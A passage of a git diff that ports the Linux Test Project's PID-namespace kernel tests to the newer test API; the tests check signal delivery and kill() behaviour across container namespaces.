TST_EXP_POSITIVE(find_cinit_pids(pids)); - TEST(do_clone_unshare_test(T_CLONE, CLONE_NEWPID, - create_nested_container, (void *)&count)); - if (TEST_RETURN == -1) { - tst_brkm(TFAIL | TTERRNO, NULL, "clone failed"); - } + SAFE_KILL(pid, SIGKILL); + SAFE_WAITPID(0, &status, 0); - close(fd[1]); - /* Waiting for the MAX_DEPTH number of containers to be created */ - nbytes = read(fd[0], readbuffer, sizeof(readbuffer)); - close(fd[0]); - if (nbytes > 0) - tst_resm(TINFO, " %d %s", MAX_DEPTH, readbuffer); - else - tst_brkm(TFAIL, NULL, "unable to create %d containers", - MAX_DEPTH); + children = find_cinit_pids(pids_new); - /* Kill the container created */ - kill_nested_containers(); + if (children > 0) { + tst_res(TFAIL, "%d children left after sending SIGKILL", children); - tst_exit(); + for (i = 0; i < MAX_DEPTH; i++) { + kill(pids[i], SIGKILL); + waitpid(pids[i], &status, 0); + } + + return; + } + + tst_res(TPASS, "No children left after sending SIGKILL to the first child"); } + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .needs_root = 1, + .needs_checkpoints = 1, + .forks_child = 1, +}; diff --git a/testcases/kernel/containers/pidns/pidns06.c b/testcases/kernel/containers/pidns/pidns06.c index d6623941..c85a875e 100755 --- a/testcases/kernel/containers/pidns/pidns06.c +++ b/testcases/kernel/containers/pidns/pidns06.c @@ -1,133 +1,48 @@ +// SPDX-License-Identifier: GPL-2.0 /* -* Copyright (c) International Business Machines Corp., 2008 -* This program is free software; you can redistribute it and/or modify -* it under the terms of the GNU General Public License as published by -* the Free Software Foundation; either version 2 of the License, or -* (at your option) any later version. -* This program is distributed in the hope that it will be useful -* but WITHOUT ANY WARRANTY; without even the implied warranty of -* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See -* the GNU General Public License for more details. -* You should have received a copy of the GNU General Public License -* along with this program; if not, write to the Free Software -* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - -************************************************************************* -* Description: -* Testcase tries killing of the parent namespace pid by the container-init. -* It also tries killing of non-existent PID, by the container-init. -* Returns Success if Unable to kill, and proper error number is set. -* else Returns Failure -* -* Steps: -* 1. Parent process clone a process with flag CLONE_NEWPID -* 2. The pid of the parent namespace is passed to the container. -* 3. Container receieves the PID and passes SIGKILL to this PID. -* 4. If kill() is unsuccessful and the errno is set to 'No Such process' -* then sets PASS -* else, -* sets FAIL -* 5. It also verifies by passing SIGKILL to FAKE_PID -* 6. If kill() is unsuccessful and the errno is set to 'No Such process' -* then sets PASS -* else, -* sets FAIL -* -*******************************************************************************/ -#define _GNU_SOURCE 1 -#include -#include -#include -#include -#include -#include -#include -#include "pidns_helper.h" -#include "test.h" + * Copyright (C) International Business Machines Corp., 2008 + * Copyright (C) 2022 SUSE LLC Andrea Cervesato + */ -#define CINIT_PID 1 -#define PARENT_PID 0 -#define FAKE_PID -1 +/*\ + * [Description] + * + * Clone a process with CLONE_NEWPID flag and check that parent process can't + * be killed from child namespace. + */ -char *TCID = "pidns06"; -int TST_TOTAL = 1; +#include "tst_test.h" +#include "lapi/sched.h" -/* - * kill_pid_in_childfun() - * Cont-init tries to kill the parent-process using parent's global Pid. - * Also checks passing SIGKILL to non existent PID in the container. - */ -static int kill_pid_in_childfun(void *vtest) +static void child_func(int pid) { - int cpid, ppid, *par_pid; - int ret = 0; - cpid = getpid(); - ppid = getppid(); - par_pid = (int *)vtest; + pid_t cpid = tst_getpid(); + pid_t ppid = getppid(); - /* Checking the values to make sure pidns is created correctly */ - if (cpid != CINIT_PID || ppid != PARENT_PID) { - printf("Unexpected result for Container: init " - "pid=%d ppid=%d\n", cpid, ppid); - exit(1); - } + TST_EXP_EQ_LI(cpid, 1); + TST_EXP_EQ_LI(ppid, 0); - /* - * While trying kill() of the pid of the parent namespace.. - * Check to see if the errno was set to the expected, value of 3 : ESRCH - */ - ret = kill(*par_pid, SIGKILL); - if (ret == -1 && errno == ESRCH) { - printf("Container: killing parent pid=%d failed as expected " - "with ESRCH\n", *par_pid); - } else { - printf("Container: killing parent pid=%d, didn't fail as " - "expected with ESRCH (%d) and a return value of -1. Got " - "%d (\"%s\") and a return value of %d instead.\n", - *par_pid, ESRCH, errno, strerror(errno), ret); - exit(1); - } - /* - * While killing non-existent pid in the container, - * Check to see if the errno was set to the expected, value of 3 : ESRCH - */ - ret = kill(FAKE_PID, SIGKILL); - if (ret == -1 && errno == ESRCH) { - printf("Container: killing non-existent pid failed as expected " - "with ESRCH\n"); - } else { - printf("Container: killing non-existent pid, didn't fail as " - "expected with ESRCH (%d) and a return value of -1. Got " - "%d (\"%s\") and a return value of %d instead.\n", - ESRCH, errno, strerror(errno), ret); - exit(1); - } + tst_res(TINFO, "Trying to kill parent from within container"); - exit(0); + TST_EXP_FAIL(kill(pid, SIGKILL), ESRCH); } -static void setup(void) +static void run(void) { - tst_require_root(); - check_newpid(); -} - -int main(void) -{ - int status; - - setup(); - + const struct tst_clone_args args = { + .flags = CLONE_NEWPID, + .exit_signal = SIGCHLD, + }; pid_t pid = getpid(); - tst_resm(TINFO, "Parent: Passing the pid of the process %d", pid); - TEST(do_clone_unshare_test(T_CLONE, CLONE_NEWPID, kill_pid_in_childfun, - (void *)&pid)); - if (TEST_RETURN == -1) { - tst_brkm(TFAIL | TTERRNO, NULL, "clone failed"); - } else if (wait(&status) == -1) { - tst_brkm(TFAIL | TERRNO, NULL, "wait failed"); + if (!SAFE_CLONE(&args)) { + child_func(pid); + return; } - - tst_exit(); } + +static struct tst_test test = { + .test_all = run, + .needs_root = 1, + .forks_child = 1, +}; diff --git a/testcases/kernel/containers/pidns/pidns10.c b/testcases/kernel/containers/pidns/pidns10.c index b38b9fd1..c2a9094b 100755 --- a/testcases/kernel/containers/pidns/pidns10.c +++ b/testcases/kernel/containers/pidns/pidns10.c @@ -1,112 +1,47 @@ +// SPDX-License-Identifier: GPL-2.0 /* -* Copyright (c) International Business Machines Corp., 2007 -* This program is free software; you can redistribute it and/or modify -* it under the terms of the GNU General Public License as published by -* the Free Software Foundation; either version 2 of the License, or -* (at your option) any later version. -* This program is distributed in the hope that it will be useful, -* but WITHOUT ANY WARRANTY; without even the implied warranty of -* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See -* the GNU General Public License for more details. -* You should have received a copy of the GNU General Public License -* along with this program; if not, write to the Free Software -* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -* -*************************************************************************** -* File: pidns10.c -* * -* * Description: -* * The pidns10.c testcase verifies inside the container, if kill(-1, signal) -* * fails with ESRCH when there are no processes in container. -* * -* * Test Assertion & Strategy: -* * Create a PID namespace container. -* * Invoke kill(-1, SIGUSR1) inside container and check return code and error. -* * kill() should have failed;except swapper & init, no process is inside. -* * -* * Usage: -* * pidns10 -* * -* * History: -* * DATE NAME DESCRIPTION -* * 13/11/08 Gowrishankar M Creation of this test. -* * -* -******************************************************************************/ -#define _GNU_SOURCE 1 -#include -#include -#include -#include -#include -#include -#include -#include "pidns_helper.h" -#include "test.h" - -char *TCID = "pidns10"; -int TST_TOTAL = 1; + * Copyright (C) International Business Machines Corp., 2008 + * Copyright (C) 2022 SUSE LLC Andrea Cervesato + */ -int child_fn(void *); +/*\ + * [Description] + * + * Clone a process with CLONE_NEWPID flag and check that killing subprocesses + * from child namespace will raise ESRCH error. + */ -#define CHILD_PID 1 -#define PARENT_PID 0 +#include "tst_test.h" +#include "lapi/sched.h" -/* - * child_fn() - Inside container - */ -int child_fn(void *arg) +static void child_func(void) { - int exit_val, ret; - pid_t pid, ppid; + pid_t cpid = tst_getpid(); + pid_t ppid = getppid(); - /* Set process id and parent pid */ - pid = getpid(); - ppid = getppid(); - if (pid != CHILD_PID || ppid != PARENT_PID) { - printf("cinit: pidns was not created.\n"); - return 1; - } + TST_EXP_EQ_LI(cpid, 1); + TST_EXP_EQ_LI(ppid, 0); - if ((ret = kill(-1, SIGUSR1)) == -1 && errno == ESRCH) { - printf("cinit: kill(-1, sig) failed with -1 / ESRCH as " - "expected\n"); - exit_val = 0; - } else { - printf("cinit: kill(-1, sig) didn't fail with -1 / ESRCH " - "(%d); failed with %d / %d instead", ESRCH, ret, errno); - exit_val = 1; - } - exit(exit_val); -} + tst_res(TINFO, "Trying to kill all subprocesses from within container"); -static void setup(void) -{ - tst_require_root(); - check_newpid(); + TST_EXP_FAIL(kill(-1, SIGKILL), ESRCH); } -int main(void) +static void run(void) { - int status; - pid_t pid; - - setup(); - - pid = getpid(); - - /* Container creation on PID namespace */ - TEST(do_clone_unshare_test(T_CLONE, CLONE_NEWPID, child_fn, NULL)); - if (TEST_RETURN == -1) { - tst_brkm(TBROK | TTERRNO, NULL, "clone failed"); + const struct tst_clone_args args = { + .flags = CLONE_NEWPID, + .exit_signal = SIGCHLD, + }; + + if (!SAFE_CLONE(&args)) { + child_func(); + return; } - - sleep(1); - if (wait(&status) < 0) - tst_resm(TWARN, "parent: waitpid() failed."); - - if (WIFEXITED(status) && WEXITSTATUS(status) != 0) - tst_resm(TBROK, "container was terminated abnormally"); - - tst_exit(); } + +static struct tst_test test = { + .test_all = run, + .needs_root = 1, + .forks_child = 1, +}; diff --git a/testcases/kernel/containers/pidns/pidns12.c b/testcases/kernel/containers/pidns/pidns12.c index 5fb13d2a..1811dbc3 100755 --- a/testcases/kernel/containers/pidns/pidns12.c +++ b/testcases/kernel/containers/pidns/pidns12.c @@ -1,169 +1,76 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* -* Copyright (c) International Business Machines Corp., 2007 -* This program is free software; you can redistribute it and/or modify -* it under the terms of the GNU General Public License as published by -* the Free Software Foundation; either version 2 of the License, or -* (at your option) any later version. -* This program is distributed in the hope that it will be useful, -* but WITHOUT ANY WARRANTY; without even the implied warranty of -* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See -* the GNU General Public License for more details. -* You should have received a copy of the GNU General Public License -* along with this program; if not, write to the Free Software -* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -* -*************************************************************************** -* File: pidns12.c -* * -* * Description: -* * The pidns12.c testcase verifies that siginfo->si_pid is set to 0 -* * if sender (parent process) is not in receiver's namespace. -* * -* * Test Assertion & Strategy: -* * Create a PID namespace container. -* * Initialise signal handler for SIGUSR1 in container. -* * Let parent send SIGUSR1 to container. -* * Check if sender pid is set to 0 from signal info. -* * -* * Usage: -* * pidns12 -* * -* * History: -* * DATE NAME DESCRIPTION -* * 13/11/08 Gowrishankar M Creation of this test. -* * -* -******************************************************************************/ + * Copyright (c) International Business Machines Corp., 2007 + * 13/11/08 Gowrishankar M + * Copyright (C) 2022 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Clone a process with CLONE_NEWPID flag and verifies that siginfo->si_pid is + * set to 0 if sender (parent process) is not in the receiver's namespace. + */ + +#include "tst_test_macros.h" #define _GNU_SOURCE 1 -#include -#include #include -#include -#include -#include -#include -#include "pidns_helper.h" -#include "test.h" +#include "tst_test.h" +#include "lapi/sched.h" -char *TCID = "pidns12"; -int TST_TOTAL = 1; -int pipefd[2]; +static volatile pid_t sig_pid = -1; -#define CHILD_PID 1 -#define PARENT_PID 0 - -/* - * child_signal_handler() - dummy function for sigaction() - */ -static void child_signal_handler(int sig, siginfo_t * si, void *unused) +static void child_signal_handler(LTP_ATTRIBUTE_UNUSED int sig, siginfo_t *si, LTP_ATTRIBUTE_UNUSED void *unused) { - /* Recieved SIGUSR1. Check sender pid */ - if (si->si_pid == 0) - tst_resm(TPASS, "cinit: signalling PID (from other namespace)" - " is 0 as expected"); - else - tst_resm(TFAIL, "cinit: signalling PID (from other namespace)" - " is not 0, but %d.", si->si_pid); + sig_pid = si->si_pid; } -/* - * child_fn() - Inside container - */ -int child_fn(void *arg) +static void child_func(void) { struct sigaction sa; - pid_t pid, ppid; - - /* Set process id and parent pid */ - pid = getpid(); - ppid = getppid(); - if (pid != CHILD_PID || ppid != PARENT_PID) { - tst_resm(TBROK, "cinit: pidns is not created."); - } - /* Close read end of pipe */ - close(pipefd[0]); + TST_EXP_EQ_LI(tst_getpid(), 1); + TST_EXP_EQ_LI(getppid(), 0); - /* Set signal handler for SIGUSR1 */ sa.sa_flags = SA_SIGINFO; - sigfillset(&sa.sa_mask); + SAFE_SIGFILLSET(&sa.sa_mask); sa.sa_sigaction = child_signal_handler; - if (sigaction(SIGUSR1, &sa, NULL) == -1) { - tst_resm(TBROK, "cinit: sigaction() failed(%s).", - strerror(errno)); - } - /* Let parent to signal SIGUSR1 */ - if (write(pipefd[1], "c:go\0", 5) != 5) { - tst_resm(TBROK, "cinit: pipe is broken to write"); - } - - sleep(3); + SAFE_SIGACTION(SIGUSR1, &sa, NULL); - /* cleanup and exit */ - close(pipefd[1]); + TST_CHECKPOINT_WAKE_AND_WAIT(0); - /* Control won't reach below */ - exit(0); + TST_EXP_EQ_LI(sig_pid, 0); } -static void setup(void) +static void run(void) { - tst_require_root(); - check_newpid(); -} - -/*********************************************************************** -* M A I N -***********************************************************************/ - -int main(void) -{ - int status; - pid_t pid, cpid; - char buf[5]; - - setup(); - - pid = getpid(); - tst_resm(TINFO, "parent: PID is %d", pid); - - /* Create pipe for intercommunication */ - if (pipe(pipefd) == -1) { - tst_resm(TBROK, "parent: pipe() failed. aborting!"); - } - - cpid = ltp_clone_quick(CLONE_NEWPID | SIGCHLD, child_fn, NULL); - if (cpid < 0) { - tst_resm(TBROK, "parent: clone() failed(%s).", strerror(errno)); + const struct tst_clone_args args = { + .flags = CLONE_NEWPID, + .exit_signal = SIGCHLD, + }; + int pid; + + pid = SAFE_CLONE(&args); + if (!pid) { + child_func(); + return; } - /* Close write end of pipe */ - close(pipefd[1]); + TST_CHECKPOINT_WAIT(0); - /* Check if container is ready */ - read(pipefd[0], buf, 5); - if (strcmp(buf, "c:go") != 0) { - tst_resm(TBROK, "parent: container did not respond!"); - } - - /* Send SIGUSR1 to container init */ - if (kill(cpid, SIGUSR1) == -1) { - tst_resm(TBROK, "parent: kill() failed(%s).", strerror(errno)); - } - - if (waitpid(cpid, &status, 0) < 0) - tst_resm(TWARN, "parent: waitpid() failed(%s).", - strerror(errno)); - - if (WIFSIGNALED(status) && WTERMSIG(status)) - tst_resm(TBROK, "child is terminated by signal(%s)", - strsignal(WTERMSIG(status))); - - /* Cleanup and exit */ - close(pipefd[0]); - - /* Control won't reach below */ - exit(0); + SAFE_KILL(pid, SIGUSR1); + TST_CHECKPOINT_WAKE(0); } + +static struct tst_test test = { + .test_all = run, + .needs_root = 1, + .forks_child = 1, + .needs_checkpoints = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_PID_NS", + NULL, + }, +}; diff --git a/testcases/kernel/containers/pidns/pidns13.c b/testcases/kernel/containers/pidns/pidns13.c index bdc1097f..65fcc444 100755 --- a/testcases/kernel/containers/pidns/pidns13.c +++ b/testcases/kernel/containers/pidns/pidns13.c @@ -31,7 +31,7 @@ #include "tst_test.h" #include "tst_clone.h" -#include "lapi/clone.h" +#include "lapi/sched.h" static int pipe_fd[2]; @@ -42,7 +42,7 @@ static void child_signal_handler(int sig, siginfo_t *si, void *unused LTP_ATTRIBUTE_UNUSED) { tst_res(TWARN, "cinit(pid %d): Caught signal! sig=%d, si_fd=%d, si_code=%d", - getpid(), sig, si->si_fd, si->si_code); + tst_getpid(), sig, si->si_fd, si->si_code); } static void child_fn(unsigned int cinit_no) @@ -54,7 +54,7 @@ static void child_fn(unsigned int cinit_no) pid_t pid, ppid; int flags; - pid = tst_syscall(__NR_getpid); + pid = tst_getpid(); ppid = getppid(); if (pid != CHILD_PID || ppid != PARENT_PID) tst_brk(TBROK, "cinit%u: pidns not created.", cinit_no); @@ -96,7 +96,7 @@ static void child_fn(unsigned int cinit_no) SAFE_CLOSE(pipe_fd[0]); TST_CHECKPOINT_WAIT(1); - SAFE_WRITE(pipe_fd[1], 1, "test\n", 5); + SAFE_WRITE(SAFE_WRITE_ALL, pipe_fd[1], "test\n", 5); } exit(0); @@ -104,7 +104,10 @@ static void child_fn(unsigned int cinit_no) static void run(void) { - const struct tst_clone_args cargs = { CLONE_NEWPID, SIGCHLD }; + const struct tst_clone_args cargs = { + .flags = CLONE_NEWPID, + .exit_signal = SIGCHLD, + }; SAFE_PIPE(pipe_fd); diff --git a/testcases/kernel/containers/pidns/pidns16.c b/testcases/kernel/containers/pidns/pidns16.c index 2ee61065..313b0a09 100755 --- a/testcases/kernel/containers/pidns/pidns16.c +++ b/testcases/kernel/containers/pidns/pidns16.c @@ -1,157 +1,87 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* -* Copyright (c) International Business Machines Corp., 2007 -* This program is free software; you can redistribute it and/or modify -* it under the terms of the GNU General Public License as published by -* the Free Software Foundation; either version 2 of the License, or -* (at your option) any later version. -* This program is distributed in the hope that it will be useful, -* but WITHOUT ANY WARRANTY; without even the implied warranty of -* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See -* the GNU General Public License for more details. -* You should have received a copy of the GNU General Public License -* along with this program; if not, write to the Free Software -* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -* -*************************************************************************** - -* * Test Assertion. -* *---------------- -* * kill -USR1 container_init -* * - from the parent process and also inside a container -* * - Where init has defined a custom handler for USR1 -* * - Should call the handler and -* * - Verify whether the signal handler is called from the proper process. -* * -* * Description: -* * Create PID namespace container. -* * Container init defines the handler for SIGUSR1 and waits indefinetly. -* * Parent sends SIGUSR1 to container init. -* * The signal handler is handled and the cont-init resumes normally. -* * From the container, again the signal SIGUSR1 is sent. -* * In the sig-handler check if it's invoked from correct pid(parent/container) -* * If cont-init wakes up properly - -* * it will return expected value at exit which is verified at the end. -* * -* * History: -* * DATE NAME DESCRIPTION -* * 04/11/08 Veerendra C Verifying cont init kill -USR1 -* -*******************************************************************************/ -#include "config.h" + * Copyright (c) International Business Machines Corp., 2007 + * 04/11/08 Veerendra C + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Clone a process with CLONE_NEWPID flag and verifies that siginfo->si_pid is + * set to 0 if sender (parent process) sent the signal. Then send signal from + * container itself and check if siginfo->si_pid is set to 1. + */ #define _GNU_SOURCE 1 -#include -#include -#include -#include #include -#include -#include "pidns_helper.h" -#include "test.h" - -#define CHILD_PID 1 -#define PARENT_PID 0 +#include "tst_test.h" +#include "lapi/sched.h" -char *TCID = "pidns16"; -int TST_TOTAL = 3; +static volatile int signal_pid; -void child_signal_handler(int sig, siginfo_t * si, void *unused) +static void child_signal_handler(LTP_ATTRIBUTE_UNUSED int sig, siginfo_t *si, LTP_ATTRIBUTE_UNUSED void *unused) { - static int c = 1; - pid_t expected_pid; - - /* Verifying from which process the signal handler is signalled */ - - switch (c) { - case 1: - expected_pid = PARENT_PID; - break; - case 2: - expected_pid = CHILD_PID; - break; - default: - tst_resm(TBROK, "child should NOT be signalled 3+ times"); - return; - } - - if (si->si_pid == expected_pid) - tst_resm(TPASS, "child is signalled from expected pid %d", - expected_pid); - else - tst_resm(TFAIL, "child is signalled from unexpected pid %d," - " expecting pid %d", si->si_pid, expected_pid); - - c++; + signal_pid = si->si_pid; } -/* - * child_fn() - Inside container - */ -int child_fn(void *ttype) +static void child_func(void) { struct sigaction sa; - pid_t pid, ppid; + pid_t cpid, ppid; - /* Set process id and parent pid */ - pid = getpid(); + cpid = tst_getpid(); ppid = getppid(); - if ((pid != CHILD_PID) || (ppid != PARENT_PID)) - tst_resm(TBROK, "pidns is not created."); + TST_EXP_EQ_LI(cpid, 1); + TST_EXP_EQ_LI(ppid, 0); + + tst_res(TINFO, "Catching SIGUSR1 signal"); - /* Set signal handler for SIGUSR1, also mask other signals */ sa.sa_flags = SA_SIGINFO; - sigemptyset(&sa.sa_mask); + SAFE_SIGFILLSET(&sa.sa_mask); sa.sa_sigaction = child_signal_handler; - if (sigaction(SIGUSR1, &sa, NULL) == -1) - tst_resm(TBROK, "%d: sigaction() failed", pid); - - pause(); - tst_resm(TINFO, "Container: Resumed after receiving SIGUSR1 " - "from parentNS "); - if (kill(pid, SIGUSR1) != 0) { - tst_resm(TFAIL, "kill(SIGUSR1) fails."); - } - tst_resm(TINFO, "Container: Resumed after sending SIGUSR1 " - "from container itself"); - _exit(10); -} + SAFE_SIGACTION(SIGUSR1, &sa, NULL); -static void setup(void) -{ - tst_require_root(); - check_newpid(); + TST_CHECKPOINT_WAKE_AND_WAIT(0); + + TST_EXP_EQ_LI(signal_pid, 0); + + tst_res(TINFO, "Sending SIGUSR1 from container itself"); + + SAFE_KILL(cpid, SIGUSR1); + + TST_EXP_EQ_LI(signal_pid, 1); } -/*********************************************************************** -* M A I N -***********************************************************************/ -int main() +static void run(void) { - int status; - pid_t cpid; - - setup(); + const struct tst_clone_args args = { + .flags = CLONE_NEWPID, + .exit_signal = SIGCHLD, + }; + pid_t pid; - cpid = ltp_clone_quick(CLONE_NEWPID | SIGCHLD, child_fn, NULL); + signal_pid = -1; - if (cpid < 0) { - tst_resm(TBROK, "clone() failed."); + pid = SAFE_CLONE(&args); + if (!pid) { + child_func(); + return; } - sleep(1); - if (kill(cpid, SIGUSR1) != 0) { - tst_resm(TFAIL, "kill(SIGUSR1) fails."); - } - sleep(1); - if (waitpid(cpid, &status, 0) < 0) - tst_resm(TWARN, "waitpid() failed."); - - if ((WIFEXITED(status)) && (WEXITSTATUS(status) == 10)) - tst_resm(TPASS, "container init continued successfuly, " - "after handling signal -USR1"); - else - tst_resm(TFAIL, "c-init failed to continue after " - "passing kill -USR1"); - tst_exit(); + TST_CHECKPOINT_WAIT(0); + + tst_res(TINFO, "Sending SIGUSR1 from parent"); + + SAFE_KILL(pid, SIGUSR1); + + TST_CHECKPOINT_WAKE(0); } + +static struct tst_test test = { + .test_all = run, + .needs_root = 1, + .needs_checkpoints = 1, + .forks_child = 1, +}; diff --git a/testcases/kernel/containers/pidns/pidns17.c b/testcases/kernel/containers/pidns/pidns17.c index cf0c5826..4633ec14 100755 --- a/testcases/kernel/containers/pidns/pidns17.c +++ b/testcases/kernel/containers/pidns/pidns17.c @@ -1,162 +1,72 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* -* Copyright (c) International Business Machines Corp., 2007 -* This program is free software; you can redistribute it and/or modify -* it under the terms of the GNU General Public License as published by -* the Free Software Foundation; either version 2 of the License, or -* (at your option) any later version. -* This program is distributed in the hope that it will be useful, -* but WITHOUT ANY WARRANTY; without even the implied warranty of -* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See -* the GNU General Public License for more details. -* You should have received a copy of the GNU General Public License -* along with this program; if not, write to the Free Software -* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -* -*************************************************************************** -* File: pidns17.c -* * -* * Description: -* * The pidns17.c testcase verifies inside the container, if kill(-1, SIGUSR1) -* * terminates all children running inside. -* * -* * Test Assertion & Strategy: -* * Create a PID namespace container. -* * Spawn many children inside it. -* * Invoke kill(-1, SIGUSR1) inside container and check if it terminates -* * all children. -* * -* * Usage: -* * pidns17 -* * -* * History: -* * DATE NAME DESCRIPTION -* * 13/11/08 Gowrishankar M Creation of this test. -* * -* -******************************************************************************/ -#define _GNU_SOURCE 1 -#include -#include -#include -#include -#include -#include -#include -#include "pidns_helper.h" -#include "test.h" + * Copyright (c) International Business Machines Corp., 2007 + * 13/11/08 Gowrishankar M + * Copyright (C) 2022 SUSE LLC Andrea Cervesato + */ -char *TCID = "pidns17"; -int TST_TOTAL = 1; +/*\ + * [Description] + * + * Clone a process with CLONE_NEWPID flag and spawn many children inside the + * container. Then terminate all children and check if they were signaled. + */ -int child_fn(void *); +#include +#include "tst_test.h" +#include "lapi/sched.h" -#define CHILD_PID 1 -#define PARENT_PID 0 +#define CHILDREN_NUM 10 -/* - * child_fn() - Inside container - */ -int child_fn(void *arg) +static void child_func(void) { - int children[10], exit_val, i, status; - pid_t pid, ppid; + int children[CHILDREN_NUM], status; + unsigned int i; + pid_t cpid, ppid; - /* Set process id and parent pid */ - pid = getpid(); + cpid = tst_getpid(); ppid = getppid(); - if (pid != CHILD_PID || ppid != PARENT_PID) { - printf("cinit: pidns was not created\n"); - exit(1); - } - exit_val = 0; + TST_EXP_EQ_LI(cpid, 1); + TST_EXP_EQ_LI(ppid, 0); + + tst_res(TINFO, "Spawning %d children", CHILDREN_NUM); - /* Spawn many children */ - for (i = 0; i < ARRAY_SIZE(children); i++) { - switch ((children[i] = fork())) { - case -1: - perror("fork failed"); - exit_val = 1; - break; - case 0: + for (i = 0; i < CHILDREN_NUM; i++) { + children[i] = SAFE_FORK(); + if (!children[i]) { pause(); - /* XXX (garrcoop): why exit with an exit code of 2? */ - exit(2); - break; - default: - /* fork succeeded. */ - break; + return; } } - /* wait for last child to get scheduled */ - sleep(1); - if (kill(-1, SIGUSR1) == -1) { - perror("cinit: kill(-1, SIGUSR1) failed"); - exit_val = 1; - } + tst_res(TINFO, "Terminate children with SIGUSR1"); - for (i = 0; i < ARRAY_SIZE(children); i++) { - if (waitpid(children[i], &status, 0) == -1) { - perror("cinit: waitpid failed"); - kill(children[i], SIGTERM); - waitpid(children[i], &status, 0); - exit_val = 1; - } - if (!(WIFSIGNALED(status) || WTERMSIG(status) == SIGUSR1)) { - /* - * XXX (garrcoop): this status reporting is overly - * noisy. Someone obviously needs to read the - * constraints documented in wait(2) a bit more - * closely -- in particular the relationship between - * WIFEXITED and WEXITSTATUS, and WIFSIGNALED and - * WTERMSIG. - */ - printf("cinit: found a child alive still " - "%d exit: %d, %d, signal %d, %d", i, - WIFEXITED(status), WEXITSTATUS(status), - WIFSIGNALED(status), WTERMSIG(status)); - exit_val = 1; - } - } - if (exit_val == 0) - printf("cinit: all children have terminated.\n"); + SAFE_KILL(-1, SIGUSR1); - exit(exit_val); -} + for (i = 0; i < CHILDREN_NUM; i++) { + SAFE_WAITPID(children[i], &status, 0); -static void setup(void) -{ - tst_require_root(); - check_newpid(); + TST_EXP_EQ_LI(WIFSIGNALED(status), 1); + TST_EXP_EQ_LI(WTERMSIG(status), SIGUSR1); + } } -int main(void) +static void run(void) { - int status; - pid_t pid; - - setup(); - - pid = getpid(); - - /* Container creation on PID namespace */ - TEST(do_clone_unshare_test(T_CLONE, CLONE_NEWPID, child_fn, NULL)); - if (TEST_RETURN == -1) { - tst_brkm(TBROK | TTERRNO, NULL, "clone failed"); + const struct tst_clone_args args = { + .flags = CLONE_NEWPID, + .exit_signal = SIGCHLD, + }; + + if (!SAFE_CLONE(&args)) { + child_func(); + return; } - - sleep(1); - if (wait(&status) == -1) - tst_resm(TFAIL, "waitpid failed"); - - if (WIFEXITED(status) && WEXITSTATUS(status) != 0) - tst_resm(TFAIL, "container exited abnormally"); - else if (WIFSIGNALED(status)) - tst_resm(TFAIL, - "container was signaled with signal = %d", - WTERMSIG(status)); - - tst_exit(); - } + +static struct tst_test test = { + .test_all = run, + .needs_root = 1, + .forks_child = 1, +}; diff --git a/testcases/kernel/containers/pidns/pidns20.c b/testcases/kernel/containers/pidns/pidns20.c index ec2c66bd..91482086 100755 --- a/testcases/kernel/containers/pidns/pidns20.c +++ b/testcases/kernel/containers/pidns/pidns20.c @@ -1,207 +1,100 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* -* Copyright (c) International Business Machines Corp., 2007 -* This program is free software; you can redistribute it and/or modify -* it under the terms of the GNU General Public License as published by -* the Free Software Foundation; either version 2 of the License, or -* (at your option) any later version. -* This program is distributed in the hope that it will be useful, -* but WITHOUT ANY WARRANTY; without even the implied warranty of -* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See -* the GNU General Public License for more details. -* You should have received a copy of the GNU General Public License -* along with this program; if not, write to the Free Software -* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -* -*************************************************************************** -* File: pidns20.c -* * -* * Description: -* * The pidns20.c testcase verifies that signal handler of SIGUSR1 is called -* * (and cinit is NOT terminated) when: -* * - container-init blocks SIGUSR1, -* * - parent queues SIGUSR1 and -* * - a handler is specified for SIGUSR1 before it is unblocked. -* * -* * Test Assertion & Strategy: -* * Create a PID namespace container. -* * Block SIGUSR1 signal inside it. -* * Let parent to deliver SIGUSR1 signal to container. -* * Redefine SIGUSR1 handler of cinit to user function. -* * Unblock SIGUSR1 from blocked queue. -* * Check if user function is called. -* * -* * Usage: -* * pidns20 -* * -* * History: -* * DATE NAME DESCRIPTION -* * 13/11/08 Gowrishankar M Creation of this test. -* * -* -******************************************************************************/ -#define _GNU_SOURCE 1 -#include -#include -#include -#include -#include -#include -#include "pidns_helper.h" -#include "test.h" -#include "safe_macros.h" + * Copyright (c) International Business Machines Corp., 2007 + * 13/11/08 Gowrishankar M + * Copyright (C) 2022 SUSE LLC Andrea Cervesato + */ -char *TCID = "pidns20"; -int TST_TOTAL = 1; +/*\ + * [Description] + * + * Clone a process with CLONE_NEWPID flag, block SIGUSR1 signal before sending + * it from parent and check if it's received once SIGUSR1 signal is unblocked. + */ -int parent_cinit[2]; -int cinit_parent[2]; -int broken = 1; /* broken should be 0 when test completes properly */ +#define _GNU_SOURCE 1 +#include +#include "tst_test.h" +#include "lapi/sched.h" -#define CHILD_PID 1 -#define PARENT_PID 0 +static volatile int signals; +static volatile int last_signo; -/* - * child_signal_handler() - to handle SIGUSR1 - */ -static void child_signal_handler(int sig, siginfo_t * si, void *unused) +static void child_signal_handler(LTP_ATTRIBUTE_UNUSED int sig, siginfo_t *si, LTP_ATTRIBUTE_UNUSED void *unused) { - if (si->si_signo != SIGUSR1) - tst_resm(TBROK, "cinit: received %s unexpectedly!", - strsignal(si->si_signo)); - 